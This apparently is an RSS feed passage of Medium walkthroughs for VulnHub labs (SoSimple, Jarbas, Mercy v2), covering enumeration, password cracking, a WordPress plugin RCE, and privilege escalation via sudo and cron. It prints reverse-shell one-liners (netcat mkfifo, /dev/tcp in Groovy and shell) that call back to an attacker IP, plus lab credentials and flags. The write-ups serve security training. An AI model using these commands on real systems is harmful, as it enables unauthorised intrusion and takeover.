            <category><![CDATA[sosimple-part2]]></category>
            <category><![CDATA[sosimple-lab-answer]]></category>
            <category><![CDATA[sosimple-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jagadish Ray]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 07:00:33 GMT</pubDate>
            <atom:updated>2026-10-11T07:00:33.357Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OiP6g5aQDfvz6QSTQhkg-g.png" /></figure><h3>Step 12. Confirming RCE:</h3><p>The request successfully returned the contents of /etc/passwd, confirming the Social Warfare RCE vulnerability was exploitable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*EOmwxXQhqg_cGVd3AKKEKw.png" /></figure><p>The output revealed two user accounts of interest on the system: max (home directory /home/max) and steven (home directory /home/steven). I noted both for further enumeration.</p><h3>Step 13. Building a Reverse Shell Payload:</h3><p>I used revshells.com to generate a netcat mkfifo reverse shell payload, targeting my attacker IP (192.168.1.14) on port 1234.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*XTeuKdH9eKvR92xuaCliSA.png" /></figure><p>I updated payload.txt, replacing the file-read command with the reverse shell.</p><p><strong><em>&lt;pre&gt;system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 192.168.1.14 1234 &gt;/tmp/f’)&lt;/pre&gt;</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*ISiuecuPZHwOX7kmezkn1A.png" /></figure><h3>Step 14. Catching the Reverse Shell:</h3><p>In another terminal, I started a netcat listener on port 1234.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*kIZlJlEVtRgzDV1aBe12cA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*Kef-liZdEJHlPw0Iihu7Eg.png" /></figure><p>I received a connection back from the target and obtained a shell as the www-data user.</p><h3>Step 15. Initial Enumeration as www-data:</h3><p>After getting the shell, I listed the root filesystem and upgraded to a fully interactive TTY using Python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*B806QeB7lLWxULiV-Vf7Sw.png" /></figure><p>I noticed the /opt directory was owned by steven, which I noted for later privilege escalation.</p><p><strong><em>python3 -c ‘import pty;pty.spawn(“/bin/bash”)’</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*10yZT-YDWJH7-ArxUP9hdQ.png" /></figure><h3>Step 16. Discovering SSH Keys:</h3><p>I navigated to /home/max and listed its contents, finding a personal.txt file, a .ssh directory, and a user.txt flag that www-data did not have permission to read directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*SDweCI78NVciRrBPSnqX0Q.png" /></figure><p>Inside the .ssh directory, I found and read max’s private SSH key (id_rsa), which was readable by www-data.</p><p><strong><em># cat id_rsa</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*1dyMtW3Z7DC_OrOC-AbBsw.png" /></figure><p>I saved this key to my attacker machine for further testing.</p><h3>Step 17. SSH Login as max:</h3><p>I saved the key locally, set the correct permissions, and used it to SSH into the target as max.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*Cv8s7YlMl4jws7CYDoM3_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*6QB45Momjceaqlo-LKjznQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*8yoXsdaKsrIt4sRzEN0ALQ.png" /></figure><p>The login was successful, giving me a proper shell as the max user.</p><h3>Step 18. Reading the User Flag:</h3><p>Once logged in as max, I listed the home directory and read the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*KscjgdHc2DU1FUu2-feW3g.png" /></figure><p>user.txt: <strong><em>073dafccfe902526cee753455ff1dbb0</em></strong></p><h3>Step 19. Checking sudo Privileges:</h3><p>I checked max’s sudo privileges and found an interesting entry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*qMJNb3gZ-8zzjPx9tT-QkQ.png" /></figure><p>The output showed that max could run /usr/sbin/service as the user steven, without a password:</p><p><strong><em>User max may run the following commands on so-simple:(steven)</em></strong></p><p><strong><em>NOPASSWD: /usr/sbin/service</em></strong></p><h3>Step 20. Privilege Escalation to steven:</h3><p>The service command, when given a path containing “..”, can be abused to execute an arbitrary binary (a known GTFOBins technique). I used this to spawn a bash shell as steven.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*QJj2g5RlpJ2uv-9Q1Ur7OA.png" /></figure><p>This successfully switched my shell to the steven user.</p><h3>Step 21. Reading the Second Flag:</h3><p>As steven, I listed the home directory and found a second flag, user2.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*BYMGzT6RpSM7ULJCfhz9kA.png" /></figure><p>user2.txt: <strong><em>b662b31b7d8cb9f5cdc9c2010337f9b8</em></strong></p><h3>Step 22. Checking steven’s sudo Privileges:</h3><p>I checked steven’s sudo privileges and found another interesting entry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*l-xwHJKdEk2hczEw4heVXA.png" /></figure><p>The output showed that steven could run a script as root, without a password:</p><p><strong><em>User steven may run the following commands on so-simple:</em></strong></p><p><strong><em>(root) NOPASSWD: /opt/tools/server-health.sh</em></strong></p><h3>Step 23. Exploiting the Writable Path:</h3><p>The /opt/tools/server-health.sh script did not exist yet, and the /opt directory was writable by steven (as noted back in Step 16). This meant I could create the script myself and have it executed as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*fHJ7d1VOqL2nWIYjX5AzqA.png" /></figure><p><strong><em>$ cat /opt/tools/server-health.sh</em></strong></p><p>I created the missing script, writing a simple shell spawn into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*4SOUSz0ETTMxk1xS66z_xQ.png" /></figure><h3>Step 24. Root Access:</h3><p>I made the script executable and ran it via sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*ykUzHHpqcU7aNOLZ6F1aiw.png" /></figure><p>This returned a root shell, confirming successful privilege escalation.</p><h3>Step 25. Lab Completion:</h3><p>With root access, I navigated to /root and found the final flag.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*Z4GADil7H4eJ0dybL8PzeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*73616Qtdc8TOR4BjFw-y2g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d2a9cf254b2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SoSimple Vulhub Walkthrough- Part 1: Recon and Initial Access]]></title>
            <link>https://medium.com/@jagadish.ray.tech/sosimple-vulhub-walkthrough-part-1-recon-and-initial-access-b8b5ef70d8b8?source=rss-0180cff0e4ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8b5ef70d8b8</guid>
            <category><![CDATA[sosimple-walkthrough]]></category>
            <category><![CDATA[sosimple-lab-walkthrough]]></category>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[vulnhub-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jagadish Ray]]></dc:creator>
            <pubDate>Sat, 10 Oct 2026 16:17:27 GMT</pubDate>
            <atom:updated>2026-10-10T16:17:27.104Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zl4Q0m7S6r0bXIjN1XemVA.png" /></figure><h3>Step 1. Lab Setup:</h3><p>I set up the So Simple vulnerable machine in VirtualBox and connected it with my Kali Linux machine and start the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*FMGJ5afAUl4BrQ_Zwzg0KQ.png" /></figure><h3>Step 2. Finding the Target IP:</h3><p>I used netdiscover to confirm the IP address of the So Simple machine on the local network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*OhNsXHcAu5lg2OZG2K-nmw.png" /></figure><p>The scan confirmed the target machine at 192.168.1.11 .I used this IP for the rest of the lab.</p><h3>Step 3. Nmap Scan:</h3><p>Next, I ran an Nmap scan with -sV and -O to identify open ports, running services, and the operating system.</p><p><strong><em># nmap -sV -O 192.168.1.11</em></strong></p><p>The scan showed two open ports: port 22 (OpenSSH 8.2p1 Ubuntu) and port 80 (Apache httpd 2.4.41 Ubuntu). I noted both services for further enumeration.</p><h3>Step 4. Directory Enumeration:</h3><p>I ran gobuster against port 80 to discover hidden directories.</p><p><strong><em># gobuster dir -u </em></strong><a href="http://192.168.1.11/"><strong><em>http://192.168.1.11/</em></strong></a><strong><em> -w /usr/share/wordlists/dirb/subdomains-top1million-20000.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*ZFTjmwlGF28PYyZb3Gu5yQ.png" /></figure><p>Gobuster found a /wordpress directory, redirecting to <a href="http://192.168.1.11/wordpress/.">http://192.168.1.11/wordpress/.</a> I noted this for further enumeration.</p><h3>Step 5. WPScan Enumeration:</h3><p>Since the site was running WordPress, I used wpscan to enumerate the installation, including usernames and plugin information, using the rockyou wordlist for a password attack.</p><p><strong><em># wpscan — url </em></strong><a href="http://192.168.1.11/wordpress"><strong><em>http://192.168.1.11/wordpress</em></strong></a><strong><em> -P /usr/share/wordlists/rockyou.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*SF-b-p7lSS_Uvlf86FzJ3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*CKJlDFS83oSIk-Nvne6RZg.png" /></figure><p>WPScan identified two usernames, admin and max, via author ID brute forcing. It then ran a password attack against both accounts and found a valid combination:</p><p>Username: <strong><em>max</em></strong> Password: <strong><em>opensesame</em></strong></p><p>I saved these credentials for further testing.</p><h3>Step 6. WordPress Site Review:</h3><p>I browsed to the WordPress site to review its content before logging in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*vzO1RaNRZZOQ82nnF547gA.png" /></figure><p>In the webpage nothing found intresting.</p><h3>Step 7. Identifying the Vulnerable Plugin:</h3><p>I viewed the page source to identify installed plugins and their versions.</p><p><strong><em># view-source:http://192.168.1.11/wordpress/</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*nJuFLs9QhR0lbcMglVoy5w.png" /></figure><p>The source revealed the site was running the Social Warfare plugin, version 3.5.0. I noted this plugin and version for vulnerability research.</p><h3>Step 8. Researching the Social Warfare Vulnerability:</h3><p>I searched for known vulnerabilities in Social Warfare and found that versions &lt;= 3.5.2 are affected by an unauthenticated Remote Code Execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*_gbQ4Xb8zfxRih1dUTwFfQ.png" /></figure><p>The proof of concept showed that an attacker can host a malicious payload file and trigger it via the swp_url parameter on admin-post.php, causing the server to execute PHP code inside the payload. I noted this exploit chain for testing.</p><h3>Step 9. WordPress Admin Login:</h3><p>I used the max / opensesame credentials found earlier to log in to the WordPress admin dashboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*DuJPdr91BtgedfnXYZcLnA.png" /></figure><p>The login was successful, confirming the credentials were valid for the WordPress backend.</p><h3>Step 10. Crafting the Malicious Payload:</h3><p>I created a payload file containing PHP code to read /etc/passwd that I found in step 8, to confirm the RCE vulnerability was exploitable.</p><p><strong><em># nano payload.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*gSRwWsu0QO9I3hfrCC6f9w.png" /></figure><p>The payload file contained the following PHP snippet, wrapped in &lt;pre&gt; tags as described in the proof of concept:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*UFjnOKW3bDXgwx8-dU0-kQ.png" /></figure><p><strong><em>&lt;pre&gt;system(‘cat /etc/passwd’)&lt;/pre&gt;</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*LpxIrYW0BwKVqZWGs0WlIw.png" /></figure><h3>Step 11. Hosting the Payload:</h3><p>I started a local Python HTTP server to host the payload file so the target could retrieve it, and built the exploit URL pointing to my attacker machine (192.168.1.14) on port 8000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*UFjnOKW3bDXgwx8-dU0-kQ.png" /></figure><p><strong><em># python3 -m http.server 8000</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*ke3e22NGPT9wM_Bxazgg1w.png" /></figure><p>With the server running, I browsed to the crafted exploit URL on the target:</p><p><a href="http://192.168.1.11/wordpress/wp-admin/admin-post.php?swp_debug=load_options&amp;swp_url=http://192.168.1.14:8000/payload.txt"><strong><em>http://192.168.1.11/wordpress/wp-admin/admin-post.php?swp_debug=load_options&amp;swp_url=http://192.168.1.14:8000/payload.txt</em></strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8b5ef70d8b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Jarbas CTF Walkthrough: From Web Enumeration to Root Access]]></title>
            <link>https://medium.com/@jagadish.ray.tech/jarbas-ctf-walkthrough-from-web-enumeration-to-root-access-28f2c24870b9?source=rss-0180cff0e4ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/28f2c24870b9</guid>
            <category><![CDATA[jarbas-lab-walkthrough]]></category>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub-lab]]></category>
            <category><![CDATA[jarbas-walkthrough]]></category>
            <dc:creator><![CDATA[Jagadish Ray]]></dc:creator>
            <pubDate>Sat, 03 Oct 2026 15:59:11 GMT</pubDate>
            <atom:updated>2026-10-03T15:59:11.824Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3oTZQ2RcRgcI9kCF8J_7_g.png" /></figure><p><strong>Step 1. Lab Setup:</strong></p><p>I started the Jarbas vulnerable machine in VirtualBox and connected it with my Kali Linux machine. After the machine was running, I prepared the lab environment and identified the target machine on the network for further enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*K6n2c0cFTjkus5b0JTcAwg.png" /></figure><h3>Step 2. Finding the Target IP:</h3><p>I used the <strong>netdiscover</strong> tool to identify the IP address of the Jarbas machine on the local network. After checking the discovered devices, I found the target machine at <strong>192.168.1.14</strong>.</p><p><strong><em># netdiscover</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D0EzonVsM0zSSZwWZzEB0g.png" /></figure><h3>Step 3. Nmap Scan:</h3><p>Next, I ran an Nmap scan with -A to identify the open ports, services, versions, and operating system details of the target machine.</p><p><strong><em># nmap -A 192.168.1.14</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*c9H0E_nZKBhlJq-NgjcmYA.png" /></figure><p>The scan showed that <strong>ports 22, 80, 3306, and 8080</strong> were open. Port <strong>22</strong> was running SSH, port <strong>80</strong> was running Apache HTTP Server with PHP, port <strong>3306</strong> was running MariaDB, and port <strong>8080</strong> was running Jetty. I noted these services for further enumeration.</p><h3>Step 4. Opening the Web Page:</h3><p>After identifying that <strong>HTTP port 80</strong> was open, I opened the target IP address in my web browser to check the hosted web application.</p><p>The webpage was successfully loaded, showing the Jarbas web application. I then inspected the website for any useful information and possible entry points for further enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*l1-2lFyyuVXNqXkJMbeYCQ.png" /></figure><h3>Step 5. Checking Port 8080:</h3><p>After checking the webpage on port 80, I also accessed the service running on <strong>port 8080</strong>. When I opened it in the browser, I found a login page<strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h_j37uVbvk192dI2RSyxRw.png" /></figure><p>The login page appeared to be another web application hosted on the target machine. I noted it for further enumeration and investigation.</p><h3>Step 6. Directory Enumeration:</h3><p>Next, I used DIRB to find hidden files and directories on the web server. I also checked for .php and .html files using the following command:</p><p><strong><em># dirb </em></strong><a href="http://192.168.1.14"><strong><em>http://192.168.1.14</em></strong></a><strong><em> -X .php,.html</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NGFiqrNIAsC2pE5x3aDq2w.png" /></figure><p>The scan found two accessible files:</p><p>· /access.html</p><p>· /index.html</p><p>Both returned a <strong>200 OK</strong> response. I noted the access.html page as it could contain useful information for further enumeration.</p><h3>Step 7. Finding User Credentials:</h3><p>I opened the discovered /access.html file and found a list of usernames with strings that appeared to be MD5 hashes<strong>.</strong></p><p><strong>tiago:<em> 5978a63b4654c73c60fa24f836386d87</em></strong></p><p><strong>trindade: <em>f463f63616cb3f1e81ce46b39f882fd5</em></strong></p><p><strong>eder: <em>9b38e2b1e8b12f426b0d208a7ab6cb98</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cODG1s3ADMbK6aRGhyB1hw.png" /></figure><p>The 32-character hexadecimal strings looked like MD5 password hashes. I noted these credentials for further analysis and possible password recovery.</p><h3>Step 8. Cracking the Password Hashes:</h3><p>Next, I used CrackStation to identify the original passwords from the MD5 hashes found in the access.html file. After submitting the hashes, CrackStation returned the corresponding plaintext passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TOe9eEEz-VTWsSdWlvPrfA.png" /></figure><p>I noted the recovered credentials for further testing on the available services.</p><h3>Step 9. Login Using Recovered Credentials:</h3><p>After recovering the passwords, I found valid credentials for the <strong>eder</strong> user. I used the following credentials to log in to the login page on port <strong>8080</strong>:</p><pre>Username: eder</pre><pre>Password: vipsu</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gXOMaKSTsWtDc29rlsVVLA.png" /></figure><p>The credentials were accepted successfully, and I was able to access the application. I then continued investigating the available functionality for further access.</p><h3>Step 10. Finding the Script Console:</h3><p>After logging in as <strong>eder</strong>, I explored the application and found a script console where I could enter scripts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*teGLfTNMKUmeW7VQOYzrSg.png" /></figure><h3>Step 11. Starting the Netcat Listener:</h3><p>First, I started a Netcat listener on my Kali machine to wait for the reverse-shell connection.</p><pre># nc -lnvp 1234</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qVjcL1nTVcP7ULsAH2XqaQ.png" /></figure><p>The listener was now waiting on port <strong>1234</strong>.</p><h3>Step 12. Executing the Reverse Shell:</h3><p>Next, I entered the reverse-shell script into the script console.</p><pre>r = Runtime.getRuntime()<br>p = r.exec([&quot;/bin/bash&quot;,&quot;-c&quot;,&quot;exec 5&lt;&gt;/dev/tcp/192.168.1.13/1234;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done&quot;] as String[])<br>p.waitFor()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*twrwEqZcsnHDdMZiQeXUiA.png" /></figure><p>After executing the script, the target connected back to my Kali machine, and I successfully received a reverse shell<strong>.</strong></p><h3>Step 13. Getting the Reverse Shell:</h3><p>After executing the script, I received the connection on my Kali machine through the Netcat listener. I successfully obtained a reverse shell on the Jarbas machine and could now execute commands on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*YkxQx-ZyGiGaRPLwZp9FcQ.png" /></figure><h3>Step 14. Upgrading the Shell:</h3><p>After getting the reverse shell, I upgraded it to a more stable <strong>Bash shell</strong> using Python.</p><pre>/bin/bash<br>python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>This gave me a more interactive shell:</p><pre>bash-4.2$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*_1EOOLsGFj-32izViif5uA.png" /></figure><h3>Step 15. Checking Cron Jobs:</h3><p>After upgrading the shell, I checked the system’s cron jobs to look for tasks running with higher privileges.</p><pre># cat /etc/crontab</pre><p>I found a script named <strong>CleaningScript.sh</strong> that was being executed every <strong>5 minutes by the root user</strong>.</p><pre>*/5 * * * * root /etc/script/CleaningScript.sh &gt;/dev/null 2&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*AmDOWeIf1iiyvgiHWsKUqA.png" /></figure><p>This looked interesting because the script was running with <strong>root privileges</strong>, so I investigated it further.</p><h3>Step 16. Exploiting the Cron Job:</h3><p>Since CleaningScript.sh was executed by <strong>root every 5 minutes</strong>, I added a reverse-shell command to the script. First, I started a Netcat listener on port <strong>4444</strong> on my Kali machine.</p><pre># nc -lnvp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*efQLgQmvsCugtOcVv2eS_Q.png" /></figure><p>Then, from the target shell, I added the reverse-shell command to CleaningScript.sh:</p><pre># echo &quot;0&lt;&amp;196;exec 196&lt;&gt;/dev/tcp/192.168.1.13/4444; sh &lt;&amp;196 &gt;&amp;196 2&gt;&amp;196&quot; &gt;&gt; /etc/script/CleaningScript.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BA1QFx3GBc_68ex677OMNQ.png" /></figure><p>I waited for the cron job to run the script as <strong>root</strong>.</p><h3>Step 17. Getting Root Access:</h3><p>After the cron job executed the modified script, I received a new shell with <strong>root privileges</strong>. I verified the access using the id command.</p><pre># id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*30Lmrfg9-isAXQYVaoQk7g.png" /></figure><p>The output confirmed that I successfully obtained <strong>root access</strong> on the Jarbas machine.</p><h3>Step 18. Capturing the Flag:</h3><p>After obtaining root access, I checked the flag.txt file to confirm the successful completion of the lab.</p><pre># cat flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*Dn63p3I0jP-AUlzF1PH-BQ.png" /></figure><p>The flag was displayed successfully, confirming that I had completed the <strong>Jarbas lab</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28f2c24870b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mercy v2 Part 1 — VulnHub Walkthrough: From Reconnaissance to Root Access]]></title>
            <link>https://medium.com/@jagadish.ray.tech/mercy-v2-part-1-vulnhub-walkthrough-from-reconnaissance-to-root-access-7a75892153ea?source=rss-0180cff0e4ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a75892153ea</guid>
            <category><![CDATA[vulnhub-writeup]]></category>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[mercy-v2]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[Jagadish Ray]]></dc:creator>
            <pubDate>Thu, 24 Sep 2026 11:00:36 GMT</pubDate>
            <atom:updated>2026-09-24T11:00:36.873Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mercy v2 — VulnHub Walkthrough: From Reconnaissance to Root Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nbI5qiYd2avg0DhYJ1jY4Q.png" /></figure><p><strong>MERCY v2 REPORT</strong></p><p><strong>Step 1. Lab Setup:</strong></p><p>I set up the Mercy v2 vulnerable machine in VirtualBox and connected it with my Kali Linux machine. After the machine was running, I used <strong>netdiscover</strong> to identify the target IP address on the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p0YzpCxAFJ_cErnY5Ibp2w.png" /></figure><h3>Step 2. Finding the Target IP:</h3><p>I started with netdiscover tool to identify the IP address of the Mercy v2 machine on the local network. After checking the discovered devices, I found the target machine at <strong>192.168.1.10</strong>.</p><p><strong><em># netdiscover</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bhvw6LauHPPTeKmDZUyySw.png" /></figure><p>I used this IP for the next steps of the lab.</p><p><strong>Step 3. Nmap Scan:</strong></p><p>Next, I ran an Nmap scan with -A and -p- to scan all ports and gather detailed information about the target.</p><p><strong><em># nmap -A -p- 192.168.1.10</em></strong></p><p>The scan showed that <strong>ports 139 and 445</strong> were open, while <strong>ports 22 and 80</strong> were filtered. <strong>Port 8080</strong> was open and running <strong>Apache Tomcat</strong>.</p><p>I also checked the robots.txt file and found an interesting path:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o6rcL5wz4Z-6CG_eWY6ZGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tEWm5-gOdC9WILZmi0vJ5w.png" /></figure><pre>/tryharder/tryharder</pre><p>I noted these services for further enumeration.</p><h3>Step 4. Hidden Path Enumeration:</h3><p>I opened the <strong><em>/tryharder/tryharder</em></strong> path found in robots.txt. On this page, I found a <strong>Base64-encoded string</strong>. I saved the string for further analysis and decoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dPC5eY3RG3-CnOexQfuXdA.png" /></figure><h3>Step 5. Decoding the Base64 String:</h3><p>I decoded the Base64 string using the echo command. After decoding it, I found :</p><p><strong>Password: </strong><strong><em>password</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q94-mA2U3ovzl1M8Y0HzUw.png" /></figure><p>I saved this password for further testing.</p><h3>Step 6. SMB Enumeration:</h3><p>I used smbclient to enumerate the SMB shares on the target machine.</p><pre># smbclient -L 192.168.1.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q1QX-G-8Oh5NiBUKAS6pQQ.png" /></figure><p>I logged in using <strong>anonymous access</strong> and found the available share names is <strong>“ qiu ”.</strong> I noted these shares for further enumeration.</p><h3>Step 7. User Enumeration:</h3><p>I used enum4linux to enumerate the SMB service and gather information about the users on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4nyystkwnWdStg_h0wP9w.png" /></figure><pre># enum4linux -a 192.168.1.10</pre><p>The scan revealed <strong>four usernames</strong> on the target machine. I noted these usernames for further testing.</p><h3>Step 8. SMB Login:</h3><p>I tested the discovered usernames with the password I found earlier. One of the valid combinations was:</p><pre>Username: qiu</pre><pre>Password: password</pre><pre># smbclient //192.168.1.10/qiu -U qiu</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O5FXtBM0uNTs6mCdr2yRKQ.png" /></figure><p>Using 